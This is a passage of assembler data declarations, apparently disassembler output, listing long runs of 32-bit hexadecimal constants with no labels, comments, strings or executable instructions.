70BF1569h dd 0FA4E40E1h, 374BB49Bh, 0BF5084CEh, 14E8FC59h, 7312104Dh dd 54BBCDD4h, 0A2A22335h, 0E4342132h, 62153D35h, 6E4FF928h dd 5458D636h, 833C5B48h, 0FEF83CC1h, 2597CFCBh, 0C7C84C60h dd 0E858332Dh, 0BDA7CB15h, 939C4DF8h, 0ACA5D2BBh, 8004321h dd 7B9C0623h, 5BCD3522h, 7E9E1C17h, 0CFD8F455h, 0C4007BD5h dd 0DC405860h, 92E1CCEBh, 26C3720Fh, 0AC2884CEh, 0D37E6F08h dd 6363FD38h, 0FD3AD2AAh, 750E959Bh, 691691E8h, 5CEDF19Ch dd 8D83CFD4h, 37C6EB83h, 0D624364Dh, 0F03B1434h, 0EC66006Ch dd 0E8F53B15h, 9FFB2BB8h, 85E79163h, 0F98595F7h, 1A6F799Dh dd 0CA2FB4A3h, 2254CDA8h, 7B69D97Dh, 622A16CCh, 88955D4h dd 0AFF99858h, 761B803Ch, 3494280Fh, 7EAB51DEh, 0F3348242h dd 4E953464h, 0D912384Bh, 4B8B1FACh, 501F4B04h, 8C0ADB45h dd 8255BEB5h, 0EB053782h, 7455745Ch, 5CBF06C3h, 6BFA034h dd 60CB0C57h, 93431F3Dh, 0FA1254B1h, 7E565AF5h, 0DE486BE6h dd 0A419F24Ah, 5C76D75Ah, 0E97018A9h, 96B69A76h, 0F3075DEFh dd 35B8BD7Dh, 0B715376Eh, 0CC78831Eh, 0AA40009Dh, 57AF748Bh dd 96D62CCBh, 0EE9D5FF9h, 69EA840Bh, 3B033C2Fh, 0E84707F8h dd 4065B22Dh, 3CDB93F0h, 2A48C2D1h, 99614637h, 0EE080B23h dd 434569DCh, 7B7849FDh, 73F80B07h, 1CD04637h, 3C116F16h dd 5547A6B1h, 750E959Bh, 691691E8h, 5C717064h, 0DC0618B1h dd 0A6B046C8h, 6409C6B6h, 681DAC58h, 9691AB69h, 0E77DACCBh dd 0F2D1C00Ah, 0D1AB6528h, 0A1908FE8h, 7480EF6Dh, 44CD0437h dd 0FE372847h, 8576BE65h, 0CAD8073h, 0F4BDAFBBh, 0F580F3EAh dd 8B986687h, 0C06F5A29h, 0B00D63B9h, 15F6F7F7h, 0FDDFB883h dd 5B9D1AF6h, 1C9FA9Eh, 0D023B858h, 37A537E4h, 16B41DB9h dd 14A60168h, 0E708C247h, 0A4045A90h, 3D6BDFFCh, 443B2987h dd 0BCF84D9Dh, 0AC739AD3h, 1DB8B744h, 17DA5E83h, 0A3FDF2h dd 77F0E8Eh, 0AA9B169Bh, 7474DCA5h, 9F7EAAD3h, 8FEA81BEh dd 7A44BE98h, 0E573C29Fh, 5A004CAFh, 8A9556C6h, 3AA1CFCh dd 0A841C9A3h, 80FD5493h, 5FA0089Eh, 5418EB90h, 2B9DE1BEh dd 0E109499Ch, 4B62FB3Bh, 25802615h, 41BAC30h, 408B338Fh dd 1287EAA0h, 1CDB5DFBh, 2A133F94h, 259D5DF5h, 79770FC5h dd 3C6D1AD6h, 6406F048h, 668C7184h, 149482D3h, 0BE6B31CEh dd 94D23378h, 1BCB28FAh, 0F78AEBEDh, 6A0DEEAAh, 21C60A1Dh dd 4E7F7204h, 0D56B6ABCh, 84589DCh, 0E1B2B428h, 49B0035Fh dd 3F153881h, 0ACAE1BE6h, 0F19F2280h, 67A15A06h, 9E17EA9Dh dd 12E7058Dh, 7A982688h, 785C4BF3h, 0B9984179h, 0DB2C405Dh dd 157B01EAh, 94AFFD76h, 2283179Fh, 95F6794Dh, 21ECEE0h dd 0D7E77B39h, 0BC75C7CCh, 8F9E24ACh, 4BA284DBh, 1E258EC7h dd 0AE397DB3h, 338E3CBDh, 8F4AE29Ch, 69D573B2h, 0FAFA373Ch dd 0A16349FBh, 40206A56h, 0BE23603Fh, 0EEE2975Ch, 9529EED5h dd 3E83747Dh, 8FC6C958h, 0ECDCF53h, 0E8F166CDh, 6A698598h dd 80962CF9h, 566FA5F2h, 98BB51BAh, 82D42C3Ah, 772069F2h dd 79FDB3B2h, 5FDB42D4h, 2850AC51h, 799B4394h, 0FA39BEA1h dd 46D357E1h, 521AA212h, 7DAF7A08h, 0A5DDC4F9h, 0D2A9C699h dd 6008C402h, 0FE3A8899h, 89CADA05h, 0FE6F1151h, 1E3CEAA6h dd 0A728E684h, 0B31392ECh, 646577A3h, 54F82907h, 2E55EA43h dd 0F5BDF6AAh, 4E7F79CEh, 0EF0FE41h, 1AEB19C1h, 9A836D7h dd 5EF10099h, 30E65C7Ch, 787E3230h, 1A80AEB1h, 12E7058Dh dd 7A982688h, 4843A1B1h, 0F0C58EBh, 18380333h, 10D50F01h dd 57B632F4h, 0ACA4F40Ah, 7A93D207h, 0C44BF126h, 0C0EE2E83h dd 0F38BFB2Ah, 68B48189h, 0F5FDFD1Eh, 3340DE52h, 0A4935A31h dd 8EA25B87h, 5B9808FAh, 12830BABh, 0B6C386B7h, 0C8B31F92h dd 0FD949A4Ah, 0A84C3547h, 967951D2h, 0DA476722h, 0BF8AF78Bh dd 92F58561h, 8379450Eh, 30384CEDh, 62D33092h, 0E67F5ABBh dd 827ABB44h, 0F0E61EA8h, 154A32A8h, 42F9D20Eh, 0A6A6D673h dd 53F9B9B5h, 419EE81h, 0FEAAC541h, 8EAE7BE4h, 3006945Fh dd 0AA6A505Eh, 710A3493h, 0FADA783Fh, 750E959Bh, 691691E8h dd 0FE2C2251h, 0EC9FB727h, 28354AF6h, 0C5F96E72h, 56299046h dd 40EA15B3h, 0AAE618FBh, 0F4C9C621h, 82B214C4h, 5CDCA123h dd 0B3466F8Bh, 0F796502Bh, 2E3B105Ah, 25BAA637h, 770A0AEAh dd 0E7EFFD53h, 52344DB6h, 932DD60Ah, 1F1DA572h, 0DBAF3F09h dd 37C36E5h, 0E5C1F3C0h, 5AB3A8B1h, 0F310E19Fh, 5E4A18A9h dd 76D154C5h, 0A1E73D08h, 21D405D5h, 0C977F717h, 9F8D876Eh dd 0BFFF50BEh, 77F1AD28h, 77F95F2Ah, 9294895Dh, 5EB96C27h dd 0F4BB3C61h, 9E6640E0h, 6EB33A6Eh, 8DC07EE7h, 40D61A03h dd 18E1C491h, 2BFB5036h, 0C532581Ah, 0C06CF974h, 4B3CD63Dh dd 0E451E9CEh, 0B691E37Eh, 442D7976h, 915ED356h, 88979B10h dd 762BAC88h, 572DBE5Bh, 0E4B235ABh, 0DB2E8988h, 0B68EA782h dd 55844E0Bh, 0D807D4E9h, 0F77D733Ch, 0CF7BA1AEh, 9DB00BEEh dd 2E1EACD0h, 9023C6EFh, 6A831904h, 2CBFFD0Bh, 114FA1AAh dd 947DEC0Ah, 235AD3AFh, 63CB77BEh, 81A769D5h, 0C141BCFh dd 8C445208h, 3254F6BDh, 0A06AEEFDh, 95008FE1h, 0FD6BEBB7h dd 9BB02C8Ch, 0C65D8EF2h, 0A7FE54D8h, 0B647A349h, 5DD0D21Fh dd 0D4FFC795h, 86EFC47Bh, 0AF9AB1CFh, 0DDB3722Eh, 0DE809691h dd 3D3EEA0h, 4488CD65h, 4F1498E2h, 0D4CAFBD9h, 0D9B6E233h dd 3715DFC4h, 23DAEDA5h, 333CF10Ah, 59B7C12Dh, 0FB244143h dd 0D0684C05h, 0AA3D0DFBh, 6525FAF1h, 92E49BD9h, 89F4681Bh dd 8DD8F691h, 0E2B4A4Ch, 0BF1361BAh, 2F20318Ch, 0A0DF7814h dd 5DD82FDFh, 0C7CCB5A0h, 80EF9A2Bh, 7DD92D2Bh, 6E3BC375h dd 6E1B1B46h, 0F1B31CC7h, 5F821284h, 0A374949Ch, 83499E14h dd 0F7F14C29h, 2CBFB44Eh, 7D850DE2h, 985F216h, 0D58EB386h dd 0D6A21B5Dh, 2A0890E3h, 7F2EB14Eh, 3A383BC9h, 0E43BCB7h dd 40DC9C5Dh, 596F084Eh, 0A8C13222h, 0A53B86D7h, 0BA3C35D1h dd 0A9BF3404h, 4C9CB7F7h, 4882ED5Bh, 62DB4E78h, 0EDAB161Eh dd 6997F62Ch, 0E48ECC81h, 0EE98DAF7h, 396814CBh, 328FEAABh dd 0CF5C79D6h, 7FA40191h, 0EBF47570h, 0FCC1569Fh, 7D373E67h dd 0E93B8D9Dh, 12E7058Dh, 7A982688h, 0F51354ECh, 0C0D28721h dd 94C97Ah, 9088B0C5h, 0FA30A1D7h, 12992FDCh, 7FA33B09h dd 93A725EEh, 0A17477DDh, 21F6DDAAh, 0A3B24DCBh, 0A68B3AC8h dd 9DBB4F25h, 8FA11284h dd 0F4E69E6Bh, 0BCA8B6F4h, 0D38A2ED8h, 0C88A6C82h, 0CB14424Ah dd 3459BBAEh, 1072A5B5h, 377EBB56h, 28B1AD4Bh, 4DC4D667h dd 0DD516090h, 37289A7Ch, 0FC634B8Ch, 0B642A287h, 4F85E966h dd 0F871F9E3h, 61630E15h, 7656E1AEh, 0EFF572F5h, 9A6BA8F6h dd 5FDB42D4h, 2850AC51h, 484F4C9Ch, 5DEEBA24h, 4804C479h dd 237AD05Eh, 13471004h, 0E56D0805h, 0A343B591h, 2B56FA3Eh dd 0C3E0F9BCh, 0ACCA4808h, 0FE2EEFB5h, 7ECC03Dh, 80039305h dd 0A5E85581h, 0BD69CDDDh, 5BEB1267h, 0C6D81FAFh, 9C0557C4h dd 0B5CCB28Bh, 1018B3E7h, 6E8A1FC4h, 389B7538h, 0B039BAEDh dd 0ECAE9E70h, 665B9718h, 4AE84F19h, 0D68289F3h, 0AA6DB3CEh dd 0DB11ADEFh, 87A21850h, 0AAD37DB7h, 59A825AAh, 8957CF94h dd 0F1D34A6Bh, 5DA6BD94h, 68E21226h, 0C1461F25h, 0CC87AF52h dd 0A201F7CFh, 0E8E8D8CAh, 503FE2A1h, 2F35DAA5h, 0D9293AB8h dd 65D69644h, 0F276145Ah, 0B3096F7Ah, 49EE42DAh, 146D6E83h dd 3FD58855h, 0FCE790E1h, 0A5837738h, 916A9C40h, 0EE679465h dd 6907FE43h, 9020E78Eh, 41D577Eh, 0D0406985h, 1191B63h dd 9BB2A289h, 0E43F2A64h, 11B978DCh, 738877F1h, 5FDB42D4h dd 2850AC51h, 0A496E7DAh, 1AEB1639h, 205C677Ah, 0F73D2F2Ch dd 0DE644B17h, 0A46E042Ch, 8D347E4Bh, 0E696A289h, 0F2A082A0h dd 141BA1C1h, 0B09E93A1h, 403F89AFh, 0B16073A9h, 51A5BC35h dd 535D0143h, 65E8A6EDh, 0F3D714CBh, 0FB9CE9FFh, 0DBB134C8h dd 0FE16B2D0h, 5756D63Bh, 0C6EB5D7Bh, 75978E81h, 3E34224Eh dd 0D38A67B3h, 601DD31h, 0B38D7049h, 0DCD97FAAh, 0A588E1CEh dd 0B3897BB4h, 381856B9h, 61949D1Ch, 0CBB10C35h, 83F0DFD6h dd 0A714C3F5h, 3043DAh, 0BE6B8E35h, 931FD46Ah, 70E6EEF5h dd 34A2FECAh, 305F009h, 9DD156CAh, 973CF946h, 4EE6C4C2h dd 8B634F1Dh, 0F7FA4214h, 349AF73Bh, 6F76E2Dh, 0F3D9A5DAh dd 8D298495h, 53C912B2h, 32AAB2E7h, 0B36A85B1h, 0B9FC2A5Ah dd 5BE4FA30h, 0AB50F5B8h, 0DE011802h, 6C26EB9Ch, 0E7D40401h dd 5E70A3B3h, 0EA29C9C6h, 0EE8836E6h, 86FE6E9Eh, 70EB04F6h dd 694A338Ch, 8354FCF7h, 7925D678h, 0E0FB8D31h, 0C080DEC8h dd 15614E46h, 0F2E8F2B7h, 3709F354h, 0C90AA731h, 7523E294h dd 0C68073BBh, 91C7BF63h, 0C879532Eh, 38BD110Ch, 9CC2A191h dd 0A0878C5Ah, 1DDA8342h, 0D7B6621Bh, 1AD7D439h, 453C99B5h dd 35CEDBF8h, 76CD8DDCh, 0D797152Fh, 1039A4Fh, 0B79A0264h dd 41DDD17Ah, 2BC9C480h, 0FB7C67F1h, 0F4D77CB3h, 8BCA39FEh dd 52091E48h, 7867390Ah, 2ADD701Ah, 0AC8FD9A9h, 0E54F30h dd 0C4F7A500h, 4D38FA86h, 76A8CD78h, 0FE2ABF59h, 46BCA3FDh dd 0F1E4F7Fh, 0CFB42D86h, 18EA7E69h, 0C7D17D0h, 85F04F66h dd 31C2013Bh, 617EAAD7h, 1DAFEB7h, 0DC82241h, 0C32A9DF6h dd 0D37CC26Ah, 294D6D93h, 43011587h, 0AC6490E2h, 0D0D4B545h dd 0A57A22CBh, 13D52647h, 9DFB92Eh, 15AC8797h, 0F6413207h dd 0C984C3D7h, 0C12D2057h, 0D184C3F1h, 0E72D2EAFh, 6DAFFC44h dd 9A0899C2h, 0E6CF00CDh, 0FE82EDC2h, 0AF80CE90h, 6DE7516h dd 975410FDh, 81CD54F6h, 6FAB50BDh, 0BDF74808h, 0BDD32BA2h dd 2D70E4D5h, 91A6B402h, 0ACE41FCAh, 0AE38D45Ch, 670BDB14h dd 260C0AC2h, 25EDDFFh, 0E1D62628h, 56CAFC5Fh, 93CE5307h dd 18E756D2h, 0FD6B6A7Bh, 0FF4D731Bh, 34A66672h, 579A043Bh dd 0B2EB9484h, 5F662C20h, 3A955CDh, 4EA51FFh, 65F745AEh dd 8EA70B46h, 0B99ED133h, 9EAE58C7h, 2AE46C4h, 0E3D4F24Ch dd 2B135A8Dh, 0D8E501DFh, 0DE92A048h, 4D38348Dh, 60FA1EFCh dd 0A1B26827h, 0A8C5AEBEh, 89C3573h, 0BE515AC4h, 0A249F5EAh dd 9ABF10Bh, 0AA43062Ah, 2290A49Bh, 0A245773Fh, 5757C18h dd 7F8B4CD7h, 23F4D099h, 0DCE8CA73h, 30384CEDh, 62D33092h dd 5E05B46Ch, 0ECF59279h, 9FF9371Fh, 0C390A8A7h, 1C24474Dh dd 0CCB40DCBh, 1F299956h, 0A7FB39AEh, 0C02117A1h, 0D1803FDAh dd 159BBD0Ah, 9AFA2586h, 0EA5D6470h, 0A5F893D8h, 9CC54BAEh dd 0F74979B6h, 0E027A99Eh, 213A392Ch, 52532E7h, 0E182736Ch dd 0A3EBEC20h, 0BF244113h, 0F407BBD9h, 0C1603C6Fh, 789D8CC1h dd 48CC31Eh, 92CE412Fh, 64645D38h, 21C828A9h, 0C87A229Ch dd 8387CA39h, 3146A72Ch, 9A6DCC12h, 9F8FC4AFh, 2D107878h dd 16BD8822h, 53F08040h, 8A7FCB01h, 1DD44F8Eh, 87E50267h dd 26D391F7h, 0B6BB03EAh, 0D4AEB0B2h, 4C8F3F1Ch, 5B836EBh dd 0F64C03FFh, 0CEF3DABDh, 0D44CFECAh, 0B132700Bh, 2E28010Ah dd 8643EE58h, 4B578C58h, 0F36EBF5Ch, 9F6CB457h, 390E6413h dd 27049BFCh, 0EA50B13Eh, 0D2731E63h, 8C0251C1h, 0BD24C1FFh dd 565AEE62h, 0A0EF0A83h, 0A61C64E5h, 286B0214h, 0C383110Fh dd 82757B9Dh, 52DD0E4Dh, 241B8BDCh, 0D850120Eh, 5157FD26h dd 1C82D150h, 74C14E3Bh, 0C6B58916h, 0C8CE4CF9h, 0DBFDE659h dd 709B0794h, 0FD636177h, 0E23E7E89h, 1EB91D9Ch, 0C27DC8EDh dd 65165BB9h, 0AAB5EE19h, 0BB97EE8h, 0F7254A4Ah, 0DD46AA90h dd 0B39BB294h, 868B4002h, 0CC1FE8Ch, 3260BF5Eh, 0D34C7AADh dd 0CEDC116Ch, 0CA265B3Fh, 27944199h, 0CC72CD15h, 0F97662C2h dd 436FBD14h, 4A949E18h, 0BD4366B5h, 0FDEDE89Bh, 0F622E362h dd 5E5B60C7h, 80C09EF4h, 7BD14129h, 0F62A3BA7h, 43324689h dd 0DE9DD846h, 41913E4Ch, 0A1A94B27h, 2ACC1B55h, 0F837DD65h dd 1879A22Ch, 0BB0558D9h, 1D9D3482h, 10D341C1h, 9157F3EAh dd 3CA2B565h, 0E449C43h, 0F0FA7406h, 995D0913h, 93390C63h dd 0A652EAA1h, 0A2CCF48Dh, 791AE3C1h, 7E2C5F77h, 1E061515h dd 0E8BC97DCh, 324240E9h, 0EBB14991h, 0A3DE5A2Ch, 59483C71h dd 739BF8Ch, 0D601959Bh, 32D41CF6h, 39CB5828h, 754452F4h dd 0F8AE13F0h, 0BAC8029Ch, 0C6E89E28h, 45675CD9h, 0DC56946Bh dd 0DEEAC942h, 0CF1638EEh, 30EF96BCh, 77CFD7D1h, 356D0B0Bh dd 0E67B6EFFh, 8C79E0BBh, 64353BF6h, 7F41AC2Bh, 137405ECh dd 0E62C4EA6h, 21A78163h, 0CAFD3CE2h, 8C6A06E4h, 6ABF1C86h dd 0ED7950FCh, 97EF1262h, 0A382B34Ah, 8DB8BD37h, 0ACFC323Dh dd 0E3849AC4h, 0DD31C9DCh, 4B273B7Ch, 0E46465AFh, 0FE4D4F79h dd 4D171335h, 0C115F262h, 0A28FE7CBh, 4C3A4B6Ah, 5D099AB6h dd 8230AA01h, 93024FC3h, 0DE97D81Ah, 7BAA8B3Eh, 7CF2A7B7h dd 686D831Ah, 5DCF8EFBh, 544432E6h, 0B04BD0F2h, 5D05BB4Ah dd 0F1AA95D3h, 5B1706FAh, 928D3847h, 318214B0h, 7529A1F6h dd 0E8366DDh, 9001A911h, 5C942D4Ah, 2DC0A497h, 0AF02161Eh dd 7F578A82h, 549AD6F7h, 79F55F56h, 0FE6AFFAAh, 7E107106h dd 23892A16h, 0BA8DBD2Ch, 98FFE421h, 0E4074C26h, 8FB8A149h dd 12C4BED6h, 0AEF382h, 6FDA912Ch, 276C1359h, 0FCCC41Fh dd 0ED3E0D42h, 47B40BC3h, 0A44653FCh, 7865793Ah, 8C69770Eh dd 0CF780522h, 98D5CE39h, 0C54F2FD9h, 230DE091h, 1AA0BC0Dh dd 24B9FEEFh, 9CBB5C22h, 46351FEDh, 0DE88AF67h, 726CBBDh dd 3687D401h, 0DBDB043Eh, 0C42A4E1Bh, 0ABC7FA18h, 36B96BA9h dd 45007760h, 33A817B2h, 0CF516EC4h, 0AEC3ED8Fh, 4D3F105h dd 0EAFF5653h, 0AD4B8383h, 0C6CF734Ch, 6009A42h, 0CC5DD4CFh dd 0AFF773E8h, 77E4BF8Ch, 5E24C6C5h, 0F2607D54h, 14D7F3A0h dd 5E177FECh, 5E70426Dh dd 0A53FC3CBh, 0F8E09C9Fh, 0E0B08EFh, 473675F5h, 97A17E40h dd 51DCB3C1h, 0F6C9536h, 79C71A0Ch, 587BC35Bh, 8588550h dd 132FE007h, 6B7EF5BDh, 55EF19C7h, 6C7C4C79h, 0B1BAC9BEh dd 2843E0C6h, 8F15362h, 966DCBCBh, 0E8C37C7Dh, 0D9AFD907h dd 46CD3167h, 581140C5h, 971622C9h, 0C1C0A012h, 47C5714Bh dd 0F4706247h, 0B17897D9h, 64486173h, 0CA9048B6h, 0AD2B512Dh dd 0E409333Dh, 1399AD01h, 66FC408Ah, 34E198CAh, 8C2A1DF8h dd 5F017DD3h, 4571FFA5h, 125FB1F0h, 5F4D711Fh, 348338E6h dd 39FC0D8Dh, 0D2573EF7h, 158554CBh, 2A974895h, 0D2A31FDCh dd 58ACA8EBh, 0A14DF26Eh, 0BE3BAB5Ch, 1BDEE9A7h, 9B63BD69h dd 0A9FFABE5h, 58012284h, 0DF06A70Ah, 0BE623930h, 0F5CF708Ch dd 203652D7h, 0DD790EDDh, 0D0BD65Ch, 0F2A283D3h, 0AB0B16F8h dd 5AD493F8h, 0FF749BCDh, 6829F665h, 81C3D77Eh, 91033A23h dd 92042630h, 0E396AD19h, 0F478D6C8h, 5FAAEB53h, 615C51E4h dd 71B1AC68h, 0B0B57D86h, 62EC4E90h, 0EBE8ABFCh, 0F55B6911h dd 5F61C17Eh, 6CCF0ECDh, 0B43B7201h, 41B4A89Dh, 0FFE9A794h dd 39BD71B2h, 0F461C0AAh, 7D67211Bh, 0F551BFF5h, 58DDB48Fh dd 0BF1E0389h, 90C46F20h, 0D7FC408Ah, 797D244Eh, 6B1ACAAh dd 0B09EB36Fh, 29BDDA48h, 0E965532Dh, 0D69D7C8Ah, 0D08D9BA2h dd 2A9ED7C8h, 0B9D18F7Bh, 0B0CDA7EEh, 0E096F369h, 84A06B90h dd 38B18D64h, 87990E6Ch, 40F35858h, 0B3967B33h, 84A05DCEh dd 503B15BDh, 0B21EEE36h, 6E546B8Ch, 1F9C4715h, 99EF054h dd 4FABEFFCh, 8FA5C95Ch, 0E08E1028h, 0E998EF81h, 0A443E691h dd 1059D6B4h, 0BC1B9E86h, 1FDE7941h, 4FBFF8EAh, 44E14139h dd 0A7F5FCE0h, 0D64F6232h, 3A37DC54h, 0DF3E2DB3h, 846E2D5Ch dd 0E809972Fh, 9D890A62h, 0A1B8FC2Fh, 59ABAC6Ah, 6178FA49h dd 6DFB732Ch, 1A1E0CB6h, 0CCD4C3AAh, 7093B854h, 9ED6F59Eh dd 9C7CB4DEh, 4D1C14Bh, 6D34B2B7h, 6491CAF5h, 0A1DAB6B5h dd 37B8C680h, 6EF9332Bh, 77AF75D5h, 94312C3Fh, 4683E452h dd 2D71CF81h, 366071FEh, 0B539553Ah, 7991E445h, 3660788Ch dd 19626CBEh, 647E6282h, 0FACFECDDh, 7C9FC67Bh, 0EE9364h dd 274E13ACh, 62135738h, 0F5D8AAABh, 0A1B33E5Fh, 0B20B7771h dd 0B570BB48h, 23131109h, 0DDCF90CBh, 603C5E64h, 1C53540Ch dd 0C03DBA34h, 0CB6B7578h, 3CEA441h, 3AF3DCEFh, 262B9515h dd 0ED9E0491h, 0B454B4EAh, 0C4B85568h, 0D29B7742h, 9B0F1A14h dd 66ED18D7h, 0D988B7BCh, 0B50E9E33h, 0F9DA0C0Eh, 35E68515h dd 0FB9B8B6Ah, 3BF90877h, 7895DCBFh, 9340B10Bh, 44889A2Fh dd 659911E1h, 475A26B5h, 3FFAC88Eh, 0A9C43301h, 78ADEB7Fh dd 7F5C5E03h, 956CD830h, 0AFC613F0h, 12A53865h, 1C844EF6h dd 0A932BB8h, 3169359Eh, 0A712759h, 0F2E02393h, 7D1A8513h dd 0E7D5F165h, 8507DA0Bh, 0C43759C2h, 6E4C2287h, 76528526h dd 0C30987AEh, 0F3E81959h, 0D552B8C3h, 8E563934h, 18E870EFh dd 0FB7871E0h, 6259916Bh, 4EC16DE2h, 0D62F9C15h, 86A4006Dh dd 554642BFh, 47B7B2E3h, 5DAF7664h, 72FA7A6Ch, 0DBEA455Ch dd 0E7CD2720h, 0A7E9FE32h, 0A4E6C6D3h, 741FD1C4h, 0E4B4CEEFh dd 7C7FEC18h, 0C130F98h, 0EA248688h, 5F91B3CBh, 48B606A5h dd 0E710B1C6h, 1B004E8Eh, 398623Eh, 0DCBBA7F8h, 2335A9D4h dd 8A08C1E5h, 95002801h, 68C7EF20h, 0A4C8F824h, 1BD0B8Fh dd 7CF36097h, 8229DDC4h, 0C9F7C52h, 76EA83FAh, 0FAC61084h dd 17D2408h, 9DADCC71h, 0BB1369CAh, 6C784D6Bh, 184B4BDh dd 0B489F818h, 0EAA2C983h, 0DB596C88h, 74764DFAh, 922F9A6h dd 60FC8428h, 47FEF0BDh, 8BBC6C99h, 0ECB55446h, 651153D8h dd 919FDBABh, 966C1D7Bh, 3CA3F166h, 0E7CAEAD1h, 7C324745h dd 21585250h, 54EEAC65h, 0D661D316h, 0CBF68E8Ah, 2AD6C570h dd 5862481Fh, 759B4DEFh, 0B295982Ch, 371FB2D9h, 0BAADDC89h dd 38CF132Dh, 4A4E969Bh, 0F1690A05h, 0FB8BCEF3h, 893DAF6Eh dd 59AB4F88h, 4D4E2435h, 0D477800Eh, 0E8E0D093h, 4818CB5Fh dd 0E9C408F7h, 0BAC814F5h, 555F0C7Dh, 0B15F8A87h, 4F28691Fh dd 69C04DDDh, 184652E4h, 0A547C92Dh, 6615DC85h, 106C2190h dd 245C60Bh, 993E3111h, 41611299h, 0D30F1D42h, 35007723h dd 0B07FDA17h, 0C363D84Ah, 0F39C96AFh, 1107096Fh, 9AF27626h dd 0D6355B49h, 7BBCD464h, 66888BAEh, 0F462C06Ah, 28B042B6h dd 69405172h, 99894C92h, 0F70BEF7Dh, 43513AA7h, 46A4C0ACh dd 0D40890C2h, 3ACBEFF6h, 55C3739Ch, 94CC4C5Ah, 0C079DACEh dd 0F0E8EABFh, 3A9139B5h, 0EC045259h, 96FE62A0h, 7903BAD1h dd 6001BB2Dh, 16999A3Dh, 53ED8F64h, 0CA3D0E49h, 0DD074642h dd 430DCCF6h, 828AD3DCh, 0A5759469h, 0F048458Dh, 0CAD5E206h dd 309734DFh, 0EED96FB7h, 0FC6330Bh, 0AE554AEh, 0C168190Dh dd 4470A6BBh, 34C918B2h, 6FE84383h, 81597910h, 0BA1587B8h dd 0D4CA9F67h, 0D3AC6430h, 934BCC7Fh, 6807101Eh, 0B8CBF3A4h dd 9CCEC06Dh, 408A8AB8h, 0E3AFE865h, 7E740946h, 46827FF8h dd 8AE2C5B8h, 8C445208h, 3254F6BDh, 4ECC72A7h, 0DBA47C22h dd 0FA26F70Ah, 0FD9FE83h, 46475A22h, 21022404h, 0E575456h dd 0BD29CB01h, 0DE7835F1h, 6C74DF9Ch, 7BA19B7Fh, 66A575C3h dd 81B9D2AFh, 1594D9E8h, 2F13B7A9h, 4B848485h, 73161E65h dd 75AD43C5h, 40EEF628h, 0B3B2CCC2h, 0FFAEDD4Bh, 0E9FABEC4h dd 9AE8C371h, 0AA3EA483h, 0F79AB48Ch, 920B5AE2h, 37869B22h dd 311DE281h, 0F43ED4ADh, 632FD924h, 669AC1F8h, 0DA0DBFF7h dd 0BFC25F43h, 0C35F33B5h, 4BC9E282h, 64E10A6Bh, 0F9B659CFh dd 0D3CC66EDh, 0DF444162h, 44AE1D7Dh, 852CA642h, 0C8B20A3h dd 0D63225Ah, 892DB9B2h, 8D4002B1h, 586A8653h, 0A2AE6601h dd 284B1E2Fh, 5B41FB46h, 0E4A3F84Eh, 0DB8B4F50h, 754A2787h dd 0A7281A9Ah, 934D2A81h, 0B2B5B9CFh, 6017FCDCh, 0CEEBCE9Ah dd 0E7886F18h, 0BA31945Ch, 0AF7E7F87h, 9239E6ACh, 6C9C6ADCh dd 7E40C17Ch, 0BF74E850h, 0A88DA77Fh, 9CDEB694h, 7266ECA4h dd 99799A80h, 27689A96h, 83E6E747h, 6264AC51h, 1DC6ED12h dd 0D073F35Dh, 44C824Ch, 74FCD088h, 61DE51D9h, 584490Ah dd 0BA111572h, 0C6ECE2D3h, 49D1DBAEh, 2DE12241h, 2A0BBA0Ah dd 585A5F72h, 2D83A499h, 796D50A7h, 889F2345h, 3BA55AF5h dd 0D8A1843Eh, 6B2DD90Dh, 0ECEE072Ch, 18E30AAEh, 14DD61h dd 446FBDEEh, 597CDE9Fh, 83D28DA4h, 0EF5A5F3Ch, 0D66DB958h dd 6C5AFDA9h, 0D433947h, 7C40F688h, 519221F3h, 2B283E9Ah dd 58D1F19Ah, 35C1B0Dh, 4C67B37Eh, 0E5398CC6h, 0B1B9C10Bh dd 0FDC70DABh, 9FAE7A29h, 0FA02A431h, 0C2BE588Eh, 0BC64487Ch dd 15E58C85h, 9AF31869h, 53A0CE42h, 21438h, 142B7BA2h dd 0B3F34210h, 0E719A117h, 16A3B56Ah, 3B81FB7Eh, 0E3CF2890h dd 0F76DA669h, 0F1BB221Bh, 0FEF948AAh, 0C8E4D18Dh, 60708D8Eh dd 165ECAAAh, 1EA1A7ABh, 84F4103Dh, 96A1A5B9h, 0D13136DBh dd 356CA2D8h, 689F2E6Fh, 0DAEF63DEh, 3107DF8Bh, 964273DEh dd 0CD890ABEh, 0ADD1C7B5h, 86B6E91h, 0F5B86649h, 0A85D675Dh dd 0C391465Ah, 0F93D1F2Ch, 69717117h, 2D211707h, 0AFF0B62Bh dd 1F046C2Ch, 0D241D7B0h, 0CA42BF3Dh, 9D6BACF6h, 0C7030239h dd 7E1A33BEh, 0B5F984A6h dd 1803CCF9h, 0B84EC726h, 0BA4286DAh, 32CE6295h, 0BA90E636h dd 0D6A0C620h, 6AE43400h, 0CE70AAE1h, 0D43E59D2h, 60D964D9h dd 98020063h, 151107FCh, 6B77190Bh, 0E56A1447h, 0E6EAE2CEh dd 3786F5D1h, 0DE07BFF7h, 16D37D17h, 9DB52401h, 0E4D1F8E6h dd 5B28BDCCh, 2C88C573h, 5E719FB7h, 0DA07433Bh, 1BE18CA8h dd 39F2A85Bh, 9577F324h, 0D3430A4Ah, 6CDE82C4h, 60379342h dd 25301B4Ah, 0E4941503h, 0E1157500h, 3F4FAA60h, 786A6559h dd 0F9620F5Dh, 0FE5FA3F6h, 21B09991h, 0D9028628h, 967C1704h dd 27A3C205h, 86F4D9F3h, 0E7E45B30h, 0F10DCAF7h, 0CC9EB5A2h dd 7073043Eh, 0CEAEAC1Fh, 0AB690AA3h, 9A4C947Dh, 44810669h dd 488F136Ch, 0C3F444EDh, 0E8DB0864h, 27249D54h, 66007AFEh dd 0A1C7C3B1h, 157F0A35h, 61CCD5BCh, 0C614900Ah, 0B0B5DA42h dd 3A5B2429h, 0FAF581DDh, 1FCF4C25h, 44E19BDFh, 2264884Ah dd 120B99B0h, 0EBD17AD8h, 0ED0F65EFh, 0FE795ADEh, 0B108DE5Bh dd 0DFCB41D8h, 0BCD8394Fh, 85AE9D6h, 0AF2B2BC1h, 23CB5731h dd 0C59AD266h, 0DE0E492Eh, 51DAAB95h, 803DB944h, 5784AFCAh dd 0AA6C4B30h, 0DB197D2Fh, 364E28DDh, 7D85D663h, 635AE5EBh dd 7A266C67h, 0E0AFBFB4h, 0F764ADAFh, 0FD76E785h, 0CBE1CD20h dd 2B549950h, 32DB0D85h, 0D7B8E1F9h, 0CE8041A5h, 317815ECh dd 6B0D046Ah, 2FC02603h, 0A6244737h, 5E700CC9h, 0A0717BF7h dd 